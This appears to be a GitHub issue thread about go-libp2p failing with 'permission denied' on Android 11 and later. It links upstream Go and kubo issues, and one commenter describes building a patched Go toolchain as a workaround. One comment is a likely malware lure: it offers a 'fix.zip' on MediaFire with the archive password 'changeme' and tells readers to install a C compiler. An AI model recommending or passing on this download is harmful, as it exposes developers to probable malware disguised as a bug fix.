BasicHost: permission denied appears on Android11+

[wlynxg]

Version Information

github.com/libp2p/go-libp2p v0.36.2

Due to the Android system, libp2p will fail to run on systems after Android11+.

Related issues:

• netlinkrib: permission denied ipfs/kubo#9513
• x/mobile: Calling net.InterfaceAddrs() fails on Android SDK 30 golang/go#40569
• x/mobile: fix net.Interface() and net.InterfaceAddrs() in Android11 version golang/go#61089

This problem needs to be fixed in https://github.com/multiformats/go-multiaddr. The current issue only needs to record the problem.

[wlynxg]

This might help:This file might fix it https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Archive codepass: changeme If you don't have the c compliator, install it.(gcc or clang)

Thanks for your help, but I will create a new PR to fix this problem soon.

[homier]

I also encounter this issue. As a workaround, I compile a custom Go toolchain from sources with applied patch from @wlynxg PR in Go https://github.com/golang/go/pull/61089/files to build an Android version of my project. This is a bit annoying to do, so I hope we'll see a fix soon. Thanks!